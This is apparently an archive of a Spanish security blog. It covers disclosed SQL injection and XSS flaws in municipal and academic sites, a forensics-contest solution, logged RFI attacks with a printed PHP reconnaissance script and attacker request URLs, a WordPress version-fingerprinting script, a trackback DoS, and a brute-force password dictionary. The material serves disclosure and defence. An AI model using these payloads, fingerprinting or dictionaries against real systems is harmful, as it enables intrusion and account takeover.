Mostrando entradas con la etiqueta Hack. Mostrar todas las entradas
Mostrando entradas con la etiqueta Hack. Mostrar todas las entradas

3 de junio de 2011

Múltiples vulnerabilidades en "torremolinos.es"

Para quienes no lo conozcáis, Torremolinos es un pueblo de la provincia de Málaga.
Es el pueblo donde me he criado, estudiado, crecido,... y la verdad, ha cambiado mucho en estos años, en algunas cosas para bien y en otras para mal.

En lo que no ha cambiado demasiado (desde que soy usuario) es la web. Siempre me ha dado la sensación, de estar poco cuidada, insuficientemente accesible y poco actualizada. Parecen que en el ayuntamiento, no han entendido la importancia cada vez más creciente de la "web 2.0", y que cada vez más, tiene peso la presencia web para el turismo.

Tras mi critica personal sobre el estado "tecnológico" de mi pueblo, vamos a caso:

El primero de los fallos que he encontrado y reportado al ayuntamiento de Torremolinos es un Inyección SQL:
De Rollanwar
En este ejemplo se puede ver como la base de datos retorna el resultado inyectado, en este caso el voluntario anterior.
No he probado cosas más complicadas, pero cambiando "%20or%20ID_voluntario=%20453" por otro código más complejo se podría, potencialmente, obtener toda la base de datos de "www.torremolinos.es".

Recordar a los lectores que este tipo de practicas podrían constituir un delito.
Entiendo que esta explotación no cumple ninguno de los puntos que podrían ser tenidos en cuenta para constituir un delito, dado que esta explotación es inocua para el sistema y los datos obtenidos son publicos, se podría acceder a esos datos de forma normal.

Por otro lado he encontrado un XSS.
Los más observasores se abran dado cuenta que en la imagen anterior ambos voluntarios tenían la misma cantidad de puntos, y es que no es casualidad, es por el parámetro '&puntos=750&', cambiando el valor por '&puntos=750<script >alert("XSS");</script>&' magia:
De Rollanwar
En este ejemplo se puede ver se ejecuta el código inyectado.

Este fallo no es demasiado grave, pero permite modificar el contenido de la web, a través de una url, es decir, solo ven el contenido modificado quienes sigan ese enlace.
Al tratarse de una vulnerabilidad leve, he decidido publicarla directamente, sin espera respuesta, en "http://secureless.org".

Un ejemplo de esta explotación más llamativa puede ser la siguiente:
De Rollanwar


Por último podemos ver como también se produce un error en el tercer marámetro si insertamos una comilla.
De Rollanwar
No he intentado explotar este SQLi.

En la primera solución que se implementó por parte del ayuntamiento se filtra inadecualamente los caracteres de la URL, para redirigir a la web principal, pero se puede seguir explotando el fallo sustituyendo los espacios por '+'.

Como esta primera solución no se me comunicó decidí pasarme en persona a ver si solucionan el fallo.

Durante mi paso por el ayuntamiento, me informaron de nuevas mejoras e ideas para el futuro "web" del ayuntamiento. He de decir que los cambios para el futuro que me comentaron solucionará varias de las criticas que he vertido al inicio del post.

Estos fallos ya han sido solucionados.

TIMELINE:
08-05-2011: Descubierta
09-05-2011: Notificación del SQLi y XSS
09-05-2011: Publicación del XSS en 'secureless.org'
11-05-2011: No responde, pero parece que solucionan el problema
16-05-2011: Me pongo en contacto de nuevo, esperando contestación.
19-05-2011: No contestan y publico.
24-05-2011: Confirmo que el filtro aplicado no es valido.
24-05-2011: Retiro el post.
24-05-2011: Reenvio fallo con el nuevo ejemplo.
25-05-2011: Paso en persona a ver que ocurre con este asunto.
02-06-2011: Me informan que está solucionado.

23 de mayo de 2010

Reto 12 de ESET-LA

ESET Latino América realiza habitualmente diversos retos para hacer pensar a sus lectores.

El reto 12 de ESET trata de hacer que dos robots colisionen en una linea infinita. Os invito a ver la descripción original en el sitio de ESET Latino América en http://blogs.eset-la.com/laboratorio/2010/05/22/desafio-12-eset/

El principal problema que tenemos es que la linea al ser infinita evita que si ambos robots van en la misma dirección puedan colisionar, por tanto lo primero que tenemos que hacer es pensar como podemos hacer para acotar la linea.

Como desconocemos si el otro robot está a izquierda o a derecha, tendremos que ir mirando a uno y otro lado para ver si encontramos la marca (de aceite) del robot que buscamos y así poder acotar el recorrido.
Para esto tenemos que hacer una busqueda primero hacia un lado y luego hacia otro, asta encontar las marcas. Y luego ir siempre por este camino.

Para esto vamos ha hacer "bibar" sobre la marca de aceite a los robots e iremos incrementando su recorrido.

IZQ - Mover a izquierda
DER - Mover a derecha
¿ACEITE? - Evitar la siguiente instrucción si existe aceite en donde estoy
GOTO - Ir a etiqueta

Code Pseudolenguaje:
F_CONT = 0
F_MOV = FALSE
CONT = 1
MODO = FALSE

IR:
SI F_CONT > 0:
CONT = F_CONT;
MODO = F_MOV;

PARA CONT:
SI MODO:
IZQ;
SINO:
DER;
FINPARA

¿ACEITE?
GOTO VUELVE;
GOTO FOUND;

FOUND:
F_CONT = CONT;
F_MOV = MODO;

VUELVE:
MODO = !MODO;
PARA CONT:
SI MODO:
IZQ;
SINO:
DER;
FINPARA
CONT = CONT + 1;
GOTO IR;

16 de mayo de 2010

Reto 2 de "forensicscontest.com"

En el segundo reto forense, vamos a buscar indicios que ayude a la policía a encontrar a un fugitivo (Ann).

Ann ha comunicado a su amante donde se va ha esconder. Para poder descubirlo tendremos que buscar la información que ha sido enviada por correo de Ann a su amante.

Las preguntas que tenemos que responder son:

1. ¿Cuál es la dirección de correo electrónico de Ann?
2. ¿Cuál es la contraseña de correo electrónico de Ann?
3. ¿Cuál es la dirección de correo electrónico del amante secreto de Ann?
4. ¿Qué dos elementos pide Ann a su amante secreto?
5. ¿Cuál es el nombre del archivo adjunto enviado Ann a su amante secreto?
6. ¿Cuál es la suma md5 del archivo adjunto enviado Ann a su amante secreto?
7. ¿En qué ciudad y país es su punto de encuentro?
8. ¿Cuál es la suma md5 de la imagen incrustada en el documento?

Dado que nuestra misión es interceptar un correo vamos a filtrar el trafico SMTP (Filtro [smpt]).
A continución vamos ver la primeta traza (Filtro [tcp.stream eq 2]).

En ella podemos ver que existe una conexión a un servicio de correo de "aol.com"

De esta trama destacaré:
EHLO annlaptop
...
AUTH LOGIN
334 VXNlcm5hbWU6
c25lYWt5ZzMza0Bhb2wuY29t
334 UGFzc3dvcmQ6
NTU4cjAwbHo=
235 AUTHENTICATION SUCCESSFUL
MAIL FROM: <sec558@gmail.com>
...

En este punto se puede ver como se autentica contra el servidor. El contenido se encuentra cifrado en Base64
EHLO annlaptop
...
AUTH LOGIN
334 Username:
sneakyg33k@aol.com
334 Password:
558r00lz
235 AUTHENTICATION SUCCESSFUL
MAIL FROM: <sec558@gmail.com>

Pero este primer mensaje no nos dá ninguna pista de su ubicación, por tanto vamos a por la siguiente trama interesante.

Podemos saver cuando se ha enviado otro correo por el saludo al servidor (Filtro [tcp.stream eq 3]).

En este mensaje, dirigido a "mistersecretx@aol.com" podemos ver que se hace referencia a un pasaporte y que se ha adjuntado un documento "secretrendezvous.docx"

Si abrimos el fichero docx podemos ver un mapa del sitio donde se piensan fugar.

Teniendo todos estos datos vamos a empezar a contestar las preguntas.

1. sneakyg33k@aol.com
2. 558r00lz
3. mistersecretx@aol.com
4. ... Bring your fake passport and a bathing suit. ...
5. secretrendezvous.docx
6. 9e423e11db88f01bbff81172839e1923
7. "Playa del Carmen, Mexico"
Para responder a la pregunta octaba podemos cambiar la extensión del fichero docx a zip y en la carpeta "word/media" la imagen que nos interesa.
8. aadeace50997b1ba24b09ac2ef1940b7

Fuente original (Ingles):
http://forensicscontest.com/2009/10/10/puzzle-2-ann-skips-bail

30 de abril de 2010

XSS en la web de trafico de RICA (Red informatica cientifica de andalucia)

Buscando un formación sobre las redes públicas españolas he podido descubrir un fallo leve de seguridad que ya ha sido notificado a los administradores del sitio.

El error era causado al no validar correctamente la variable "titulo", que se usa para escribir el título de las gráficas mostradas.

Os dejo una imagen sobre el fallo.
De Rollanwar

En el ejemplo se ha usado un iframe y un javascript para mostrar los impactos más importantes.

Una vez encontrado este fallo me puse en contacto con el quipo de seguridad de CICA quienes solucionaron el problema en dos "partes".

La primera solución, temporal, filtraba las comillas (', ") del título. Esto complica la escritura del XSS, pero no soluciona correctamente el problema.

Como no se filtra el código HTML y los navegadores son relajados para la interpretación de código HTML, se podría explotar linkando un JS externo y ejecutandolo el código escrito en la web.

Como observé que este primer filtro no solucionaba el problema, y como no había recibido contestación, me puse en contacto con ellos para conocer el estado de la incidencia y sugerirles usar el filtro 'htmlentities'.

Este post ha sido publicado tras recibir y confirmar que el fallo se encontraba solucionado.

TIMELINE:
18-04-2010: Descubierta
19-04-2010: Notificado y recibido la respuesta
20-04-2010: Solución temporal (No soluciona el problema del todo. Aún no he recibido notificación oficial)
23-04-2010: Me pongo en contacto de nuevo con ellos para confirmar que siguen con ello.
28-04-2010: Me confirman que están trabajando en ello.
30-04-2010: Me confirman la solución y publicación.

13 de abril de 2010

Examinando un ataque parado por SaveBot

Vamos a ver el último ataque que parado por SaveBot:

El atacante tenia la ip: 222.122.197.xxx y se conectó desde el puerto 33302.

El atacante procedía de Korea, de un hosting koreano con 114 hosting virtuales.

El User-Agent usado ha sido "libwww-perl/5.79", por lo que SaveBot lo ha detenido.

El ataque:
cat=5///vwar/backup/errors.php?error=http://xxxxxxxxxxx.com/images/kontol.txt?

El dominio está registrdo en Ucrania y el hosting (91.196.0.xxx) también se encuentra alli.

El contenido de "kontrol.txt" es:
<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number);
}
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024);
}
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024);
}
return sprintf("%0.2f Gb", $number/1024/1024/1024);
}

echo "Coracore<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {
$free = 0;
}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {
$all = 0;
}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "Coracore<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

El resultado mostraría algo así:
Coracore
Coracore
uname -a: @php_uname();
os: @PHP_OS;
id: system(id)
free: diskfreespace(@getcwd())
used: ConvertBytes($all1-$free1)
total: disk_total_space(@getcwd())

Este ataque permite mostrar los datos del servidor facilitando un futuro ataque.

24 de marzo de 2010

Primeros ataques del año, esta vez RFI

Como ya ocurriera en el post "Primeros ataques, siguiendo el rastro", recientemente he revisado mis log y he detectado varios ataque automatizados. En esta ocasión solo buscaban fallos RFI (remote file include).

El día 2010/03/19 a las 16:52:15 desde 95.110.224.XXX (Italia)
Petición: “?p=153//errors.php?error=www.xxxxxxxxxxx.or.kr/id?″
User-Agent: libwww-perl/5.805
Intentaba incluir un código alojado en una web coreana con IP 211.202.2.XXX

El día 2010/03/12 a las 03:00:35 desde 187.40.43.XXX (Brasil)
Petición: “?p=http://www.xxxxxxxxxxx.net/id.txt??″
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Intentaba incluir un código alojado en una web italiana con IP 213.217.147.XXX

El día 2010/03/07 a las 22:00:13 desde 64.186.137.XXX (EEUU)
Petición: “?p=ftp://xxxuserxxx:xxxpassxxx@ftp.xxxxxxxxxxx.com.br/SenderMail.php?″
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Intentaba incluir un código alojado en un ftp brasileño con IP 200.149.77.XXX, claro para poder acceder deja su usuario y clave.

Solo uno de estos ataques ha sido "parado" por mi herramienta Save Bot, dado que no estaba incorporada la "firma" para ese user-agent (Indy Library).

Ya la he añadido en mi beta personal y la nueva versión estará proximamente disponible.

23 de marzo de 2010

WebSearch usando "you get signal"

Recientemente he visto en Pentest.es un programa que dada un IP o lista de IPs busca los dominios que le pertenecen.

Para este objetivo hace uso de el API de Bing. Me ha parecido muy buena idea, y yo he creado una función que realiza lo mismo. Desde aquí invito a que añadan a WebSearch si les gusta.

Esta utilidad hace uso de YouGetSignal para obtener los datos de dominios.
'''
@license: LGPL [http://www.gnu.org/licenses/lgpl.html]
@author: ehooo [ehooo[de]rollanwar[punto]net]
'''
import json, httplib, urllib

def search_you_get_signal(ip):
params = urllib.urlencode({'remoteAddress': ip, 'key': ""})
connection = httplib.HTTPConnection("www.yougetsignal.com")
headers = {"Host":"www.yougetsignal.com",\
"User-Agent":"WebSearch (YouGetSignal version)",\
"Accept":"*/*",\
"X-Requested-With":"XMLHttpRequest",\
"X-Prototype-Version":"1.6.0",\
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"}
url = "/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php"

connection.request("POST", url, params, headers)
response = connection.getresponse()
lista = []
if response.status is httplib.OK:
json_response = response.read()
json_parse = json.loads(json_response)
if 'domainArray' in json_parse:
for (domain, desc) in json_parse['domainArray']:
lista.append(domain)
else:
print "ERROR:"
print json_parse
else:
print "ERROR:"
print response.getheaders()
return lista

if __name__ == '__main__':
import getopt, sys
try:
opts, args = getopt.getopt(sys.argv[1:], "i:", ["ip="])
except getopt.error, msg:
print msg
print sys.argv[0] + " [ -i | --ip= ]"
exit(2)

ip = None
for o, a in opts:
if o in ("-i", "--ip"):
ip = a

if ip is None:
print sys.argv[0] + " [ -i | --ip= ]"
exit(1)

list_domain = search_you_get_signal(ip)
for domain in list_domain:
print domain


UPDATE: cambiado el nombre "list" por "lista" by david G.

2 de diciembre de 2009

Primeros ataques, siguiendo el rastro

He estado haciendo una revisión de los log del sistema y he encontrado unos que he recibido unos cuantos ataques.

A continución he realizado una pequeña investigación sobre los incidentes.

Los ataques que he detectado han sido de dos tipos.


  • Inyecciones SQL:


    El día 2009/10/18 a las 21:14:52 desde 209.208.106.XXX (EEUU)
    Petición: "?m=1+order+by+87652--&hello="
    User-Agent: DataCha0s/2.0
    En la petición podemos ver como se intenta modificar la petición SQL realizando una ordenación, el parámetro hello es una incógnita para mi, pero se iguala a el valor NULL.
    Si usamos un Whois podremos ver que esta IP pertenece a un servidor.

    El día 2009/11/04 a las 00:39:44 desde 128.59.66.XXX (EEUU)
    Petición: "p=1+order+by+100--&jhfas="
    User-Agent: DataCha0s/2.0
    Este es un ataque similar, que se realiza desde una IP de la universidad de columbia en EEUU.


  • Remote File Inclusion:


    El día 2009/11/21 a las 17:09:46 y 17:09:48 y el día 2009/11/25 a las 08:45:04 y 08:45:05 desde 213.180.89.XX (Suecia)
    Petición: "p=http://www.xxxxxxx.hu//img/lightbox/id.txt???"
    User-Agent: libwww-perl/5.79
    Este es un intento de incluir y ejecutar en mi servidor el código que se encuentra en el sitio vulnerado. El ataque partió desde un servidor multidominio.

    El día 2009/11/24 a las 23:40:31 y 23:40:33 desde 80.249.173.XXX (Hungría)
    Petición: "p=http://www.xxxxxxx.hu//img/lightbox/id.txt???"
    User-Agent: libwww-perl/5.805
    Similar al anterior desde otra IP. También es desde una IP de un servidor.


Con los datos obtenidos de la IP he podido saber su ubicación general, esta información de posicionamiento es un tanto mala con lo que solo he decidido poner el país ya que poner más seria errar en la ubicación casi con toda seguridad. Dado que son servidores y que por tanto no pertenecen a un ISP "normal" de internet, tendríamos que rastrear en los log de los servidores para saber como partió la petición hacia nuestro servidor, que seguramente fuera un bot en el equipo.

En el caso de haber sido usado como proxy tendríamos que buscar a quien estaba "bypasseando" y preguntar a su ISP, si estuvieran varios proxys en cascada esta labor puede ser casi imposible, ya que si en algún sistema no hubiera los suficientes log el rastro se habría perdido.

Con estos datos obtenidos es fácil ver que el User-Agent son peculiares. En el caso de los SQL inyection y genérico de la librería de perl en los otros casos. Esto nos hace pensar que el ataque ha sido realizado de forma automática.

No creo que haga falta decir que estos ataques no han hecho nada ya que Wordpress no tiene este problema de seguridad.

Tras este pequeño altercado he pensado desarrollar un pequeño plugin para Wordpress que cuando reciba una petición obtenga el User-Agent y si es reconocido como un posible atacante de un 404 y no procese nada.

Más información:
http://www.user-agents.org/allagents.xml

29 de noviembre de 2009

Script para obtener versión de WP

Haciendo uso de lo explicado en el articulo "Saca la versión de Wordpress gracias a Gears" he decidido crear un pequeño script en Python que nos diga la versión de WP que se está usando.


La manera más simple para obtener este dato de la versión es buscar el valor del campo "generator" en los metadatos del sitio:


<meta name="generator" content="WordPress 2.8.6" />

Dependiendo del tema que tengamos este dato de meta puede o no estar.


'''
@copyright: GPL v.3
@author: ehooo
@contact: <vvillahoz|at|malwareint|dot|com>
'''

from HTMLParser import HTMLParser
from httplib import HTTPException
import httplib, os, string

class ParseMetaGen(HTMLParser):
'''
Parser para obtener el metadato "generator"
'''

def __init__(self):
HTMLParser.__init__(self)
self.generator = False

def handle_startendtag(self, tag, attrs):
if tag == 'meta':
if len(attrs) == 2 and attrs[0][0] == 'name' and attrs[0][1] == 'generator':
self.generator = attrs[1][1]

def error(msg=""):
print "ERROR"+str(msg)
exit(1)

if __name__ == '__main__':
site = None

try:
opts, args = getopt.getopt(sys.argv[1:], "s", ["site="])
except getopt.error, msg:
print msg
error(": Use -s URL or --site=URL")

for o, a in opts:
if o in ("-s","--site"):
site = string.replace(a,"http://","")
else:
error(": Unhandled Option")

if site is not None:
path = site.find("/")
if path != -1:
host = site[:path]
path = site[path:]
else:
path = "/"
headers = {"Host": host, "Accept": "*/*", "User-Agent":"Spider/WP-version"}

try:
conn = httplib.HTTPConnection(host)
conn.request("GET", path, headers=headers)
respuesta = conn.getresponse()
if respuesta.status == httplib.OK:
pmg = ParseMetaGen()
pmg.feed(respuesta.read())
version = pmg.generator
if not version:#Si no obtenemos el generador buscamos en el Gears
conn.request("GET", path+"/wp-admin/gears-manifest.php", headers=headers)
respuesta = conn.getresponse()
if respuesta.status == httplib.OK:
data = respuesta.read()
if data.find("ae52efa2f066ffc235840dc615f051d7"):
version = "Wordpress 2.8.1-2.8.6"
elif data.find("068d0a4281fb2a342ba6fd73b6b93982"):
version = "Wordpress 2.8.0"
elif data.find("thickbox.js?ver=3.1-20080430"):
version = "Wordpress 2.7.0"
elif data.find("thickbox.js?ver=3.1-20090123"):
version = "Wordpress 2.7.1"
elif data.find("_20080710a"):
version = "Wordpress 2.6.0"
elif data.find("wp-admin.css?ver=2.6.1"):
version = "Wordpress 2.6.1"
elif data.find("wp-admin.css?ver=2.6.2"):
version = "Wordpress 2.6.2"
elif data.find("wp-admin.css?ver=2.6.3"):
version = "Wordpress 2.6.3"
elif data.find("wp-admin.css?ver=2.6.4"):
version = "Wordpress 2.6.4"
elif data.find("wp-admin.css?ver=2.6.5"):
version = "Wordpress 2.6.5"
else:
version = "Not Found"
elif respuesta.status == httplib.NOT_FOUND:
print "Gears Not Supported"
print "Version: "+version
except HTTPException:
error('Conection probles')
else:
error()

Para evitar que nuestro wordpress muestre la versión en los metadatos de nuestro sitio, podemos crear un simple plugin que nos eliminará este metadato, o añadir la siguiente linea a un plugin cualquiera.


remove_action('wp_head', 'wp_generator');

19 de octubre de 2009

DoS en Wordpress via TrackBackr

¿Que es TrackBack?


TackBack es un sistema de notificación de mención, es decir, sirve para saver quien ha mencionado o escrito sobre tu post.

¿Como funciona TrackBack?


Para informar al blog de que se escribe sobre lo primero es que tiene que tener el sistema de TrackBack.

Mandaremos a una petición POST al sitio que vamos a mencionar. La patición HTTP seria algo así:
POST http://www.example.com/trackback/ID
Content-Type: application/x-www-form-urlencoded; charset=utf-8

title=Mencion+sobre+ID&url=http://www.mi-blog.com/mencion&excerpt=Mi+Entrada&blog_name=Mi+blog

Las variables del POST son:

  • url: Direccion del blog permanente de la entrada (Obligatoria)

  • title: Titulo de la entrada (Opcional)

  • except: Nombre de la entrada (Opcional)

  • blog_name: Nombre del blog (Opcional)


La variable charset se encuentra en el valor de la cabecera Content-Type, en el ejemplo utf-8

Como respuesta ha este POST obtendremos lo siguiente en caso de que todo sea correcto:
<?xml version="1.0" encoding="utf-8"?>
<response>
<error>0</error>
</response>

En caso de error:
<?xml version="1.0" encoding="utf-8"?>
<response>
<error>1</error>
<message>Mensaje de error</message>
</response>

Las variable

¿Que errores se cometen?


En el caso del ejemplo anterior basado en uno de las especificaciones en el valor de Content-Type contiene el valor de charset. En Wordpress el valor de charset es obtenido mediante $_POST['charset']. Este error puede ser poco importante si el resto de aplicaciones que se comunican con el lo hacen igual.

El error de denegación de servicio es causado al no filtrar correctamente el valor de la variable charset que es recibido.

Con el valor de este dato se llama a la función mb_convert_encoding() para cambiar el tipo de codificación a la base del datos del blog.
Si se inserta como valor de charset varias codigicaciones separadas por ',' esta llamada se convierte en una operación muy pesada. Si se realizan varias conexiones el servidor atacado se queda rapidamente sin recursos.

Parche


El parche propuesto por el descubridor:
$charset = str_replace(",", "", $_POST['charset']);
if(is_array($charset)) { exit; }

El parche que propongo yo:
if(isset($_POST['charset']))
$charset = $_POST['charset'];
if (is_array($charset))//Si es un array da error
trackback_response("charset is array");
if(strpos($charset, ",") !== false)//Si tiene una , da error
trackback_response("charset have many values");

Referencias:


Especificaciones de trackback
Prueba de concepto
Más datos sobre el DoS

12 de octubre de 2009

Saca la versión de Wordpress gracias a Gears

Bueno, cuando estuve mirando el error del FPD observé que existía un fichero que mostraba con un contenido demasiado explicito, en un principio pesé que podía ser un fallo por el que se descubriría la versión del wordpress instalada, movido por un dato muy claro:
"version" : "ae52efa2f066ffc235840dc615f051d7"

En ese momento me mosqueo un poco y me puse a buscar. Que diablos era ese fichero con referencias a javascripts.

Resulta que es un fichero usado por Gears, antes Google Gears.

¿Que es Gears? os preguntareis algunos. Pues bien Gears es un programa diseñado en principio por Google y que posteriormente ha liberado para la comunidad. Este es el software que en el que se basa Gmail offline o GoogleDocs offline entre otros. Con estos datos el software se descarga de tu sitio la información para que puedas usarla sin conexión y luego se sincroniza con el servidor.

Pero vamos a lo interesante.

¿Como calcula la versión?


En la versión 2.8.x el calculo se realiza a partir de:
//El generador que da soporte a Gears usa estos datos
md5( $tinymce_version . $manifest_version ) //Como aparece en manifest.php
//Donde:
$tinymce_version = "3241-1141" //Para 2.8.x
//Y
$manifest_version = "20090610" //Para 2.8
$manifest_version = "20090616" //Para v2.8.1 - 2.8.4
//Por tanto:
//En v2.8 podriamos poner
echo '"version" : "068d0a4281fb2a342ba6fd73b6b93982"';
//En v2.8.1-2.8.4
echo '"version" : "ae52efa2f066ffc235840dc615f051d7"';

En las versiones 2.6.x y 2.7.x el valor de $man_version se calcula mediante unas funciones que crean un dato que parece aleatorio; pero bueno eso no es un muy importante ya que se le añade un "_DIGITOS" que nos indica la versión. Haciendo por tanto que el valor de $man_version sea poco relevante.
//En v2.7.x
$man_version = bucles_1($man_version)//Por resumir
$man_version = md5($man_version);
//Podríamos poner algo asi en v2.7.x
echo '"version" : "'."$man_version"."_20081201".'"';
//En v2.6
$man_version = bucles_2($man_version)//Por resumir
$man_version = md5($man_version);
echo '"version" : "'."$man_version"."_20080710a".'"';
//En v2.6.1 - 2.6.5
echo '"version" : "'."$man_version"."_20080810".'"';

Lo curioso del caso es que según las especificaciones de Geads el valor de "version" es un String, que solo indica si ha cambiado o no el contenido del fichero. Por tanto sería igual de valido hacer un md5 de la fecha de la ultima actualización si es que esta actualización cambiase el valor de este fichero. O incluso lo que seria más óptimo, cuando se instalase el blog se creara un fichero estático y se modificara en caso de ser necesario en vez de estar generandose continuamente con cada petición.

Pero aun hay algo más, dado que en los datos mostrados existe más información sobre versiones de los distintos ficheros js, podríamos obtener más diferencias.

En la versión 2.7 thickbox.js?ver=3.1-20080430

En la versión 2.7.1 thickbox.js?ver=3.1-20090123

Si en el caso de 2.7.x hay que mirar en "thickbox", en las versiones 2.6.x lo tenemos aún más fácil, ya que podemos encontrar varios sitios donde viene directamente la versión, por ejemplo, wp-admin.css?ver=2.6.x entre otros.
//Parte del código de gears-manifest.php en la versión 2.6.1
foreach ( $wp_scripts->registered as $script ) {
if ( empty($script->src) || strpos($script->src, 'tiny_mce_config.php') ) continue;
$ver = empty($script->ver) ? $wp_version : $script->ver; //Aquí en ocasiones se incluye la versión
$src = str_replace( array( '/wp-admin/', '/wp-includes/' ), array( '', '../wp-includes/' ), $script->src );
$defaults .= '{ "url" : "' . $src . '?ver=' . $ver . '" },' . "\n";
$man_version .= $ver;
}

Conclusiones


Aunque en principio podría haber parecido un vector claro para conocer la versión del Wordpress, parece que en las versión 2.8.x estos datos claros se han eliminando.

Aún así en la versión actual sigue dejando un claro punto para saber si la versión en cuanto cambien los valores de $tinymce_version o $manifest_version.

Bajo mi punto de vista, como ya he dicho antes, modificaría el modo de crear el valor de "version" y lo convertiría en un dato aleatorio, que solo cambien cuando sea necesario.
De este modo un posible atacante solo sería capaz de conocer si un wordpress se ha actualizado conociendo el valor anterior de "version" si esa actualización cambiara este dato, hecho que no siempre ocurre.

Referencia:
Tutorial de gears
Arquitectura de gears
Aplicaciones disposibles

11 de octubre de 2009

Lista de Password

Tras leer en varios sitio sobre la publicación de más de 10.000 contraseñas de cuentas de correo, y tras confirmar por distintas fuentes que las contraseñas suelen ser las mismas y que en su mayor parte son simples de sacar con un ataque de fuerza bruta por diccionario, me he propuesto hacer un diccionario ordenado por probabilidad de aparición de las contraseñas.

Se que existen infinidad de diccionarios en muchos sitios (http://passwords.openwall.net) pero yo quiero crear uno bastante reducido, para tardar a menos y realizar el menor numero de intentos posibles.

¿Porque usar diccionarios?


Existen varias razones pero las dos principales son estas:

  • La primera es la más clara, intentar probar todas requiere demasiado tiempo. El calculo es simple, simplemente hay que hacer la variación con repetición. He realizado un test empírico de un algoritmo que calcula 10000 contraseñas (solo números) tarda 0.047 segundos y por tanto en generar y probar un millón vamos a suponer que tarda 5 segundos; con estos cálculos aproximados veamos la siguiente tabla:

    Tamaño Posibles (85)Tiempo (85) Posibles (26)Tiempo (26)
    4 caracteres52 millones4,33 minutos456.9762,28 segundos
    5 caracteres4.437 millones6,16 horas11 millones59,40 segundos
    6 caracteres377.149 millones21,83 días308 millones25,74 min
    7 caracteres32 billones5,07 años8.031 millones11,15 horas
    8 caracteres2.724 billones4,31 siglos208.827 millones12,08 días
    9 caracteres231.616 billones36,6 milenios5 billones10,47 meses
    10 caracteres19 trillones3010 milenios141 billones22,69 años
    11 caracteres1.673 trillones265070 milenios3.670 billones5,9 siglos

    NOTA: 2x(26 Letras + ñ) + (21 caracteres especiales [!|"@.#$~%&/()=?¿'*+] ) + (10 digitos) = 85
    Como se observa en la tabla cuando la contraseña tiene más de 5 caracteres el tiemplo empleado para obtener la contraseña es de más de una semana, tiempo de sobra para ser detectados sin problema.

  • Otra de las razones por las que realizar un diccionario está relacionado con el modo que tenemos de recordar las personas. Dado que recordar "E46!fhJd9@" nos resulta muy complicado usamos otras contraseñas simples de recordad, normalmente palabras que existen. Por tanto podemos reducir el número de intento a tantas como palabras hay en el diccionario, más de 160 mil palabras según la rae, lo que reduce en numero de posibles claves.Lo mejor a la hora de usar diccionarios es realizar uno personalizado para cada objetivo, no es igual intentar sacar el password de un ingles o americano que de un egipcio o un español, ya que las palabras que usarán serán distintas.


Creación del Diccionario


Para crear mi diccionario he cogido los datos desde los siguientes sitios:

  1. Top 10 contraseñas de PC Magazine

  2. Contraseñas más usadas de las publicadas de "Flirtlife.de"

  3. Contraseñas más usadas en las publicadas de "Hotmail.com"

  4. Contraseñas por defecto de los Routers


Para que me resultara más simple la creación del diccionario he programado en python un simple código para ordenar:
'''
Programa que descarga y ordena las contraseñas más por defecto de los routers
@author: ehooo
'''

import httplib, os
from HTMLParser import HTMLParser
class ParseTable(HTMLParser):
'''
Parser para obtener los datos de la columna indicada
'''

def __init__(self, columna):
HTMLParser.__init__(self)
self._columna = columna
self._colAct = 0
self._data = False
self._fin = True
self.lista = {}

def handle_data(self, data):
if self._data:
dato = str(data)
if dato in self.lista:
self.lista[dato] += 1
else:
self.lista[dato] = 1
self._data = False

def handle_starttag(self, tag, attrs):
if self._fin:
if tag == "table":
self._fin = False
elif tag == "tr":
self._colAct = 0
elif tag == "td":
if self._colAct == self._columna:
self._data = True
self._colAct += 1

def handle_endtag(self, tag):
if self._fin:
pass
elif tag == "tr":
self._colAct = 0
elif tag == "table":
self._fin = True

if __name__ == '__main__':
conn = httplib.HTTPConnection("www.phenoelit-us.org")
conn.request("GET", "/dpl/dpl.html")
res = conn.getresponse()
if res.status == httplib.OK:
html = res.read()
p = ParseTable(5)
p.feed(html)
lista = p.lista
n_elem = len(lista)
list = {}
try:
while True:#Cuando se queda sin elementos lanza una Excepcion "KeyError"
(key, valor) = lista.popitem()
if valor in list:
list[valor] += ", "+str(key)
else :
list.setdefault(valor, str(key))
except(KeyError):
valores = list.keys()
valores.sort()
valores.reverse()
ord = []
for valor in valores:
ord += [list[valor]]
elem = 0
for passwords in ord:
porcentaje = (valores[elem]* 100) / n_elem
print valores[elem],"de",n_elem,"son",porcentaje,'% ->',passwords
elem += 1
else:
print "ERROR en la descarga"

La lista que he obtenido ha quedado reducida ha 46 palabras, cogiendo las más comunes de los routers y de las personas; eliminando ciertas passwords sin demasiada relevancia. Puedes descargar el diccionario desde http://rollanwar.net/pass+usados.txt. De todos modos puedes crear el diccionario de routers usando parte del código publicado.

Otros datos de interés:
http://onemansblog.com/2007/03/26/how-id-hack-your-weak-passwords/

2 de octubre de 2009

XSS en la web del COI

Con motivo de la celebración de las votaciones del comité olímpico internacional para elegir el lugar donde se celebrarán los próximos juegos olímpicos los chicos de Security by default han publicado un XSS sobre la web del COI.
xss en el coi
Para aquellos que no sepan que es un XSS se lo explico a continuación en pocas palabras. Un XSS (Cross site scripting) es un tipo de fallo de seguridad cuando se diseña una pagina web. Cuando un sitio web no comprueba correctamente los valores de las variables que va ha recibir y escribir en su frontal se puede insertar código HTML y en especial javascript para escribir en la web. Este tipo de ataques se han usado para hacer engañar a un usuario que acceda a este enlace o para robar credenciales.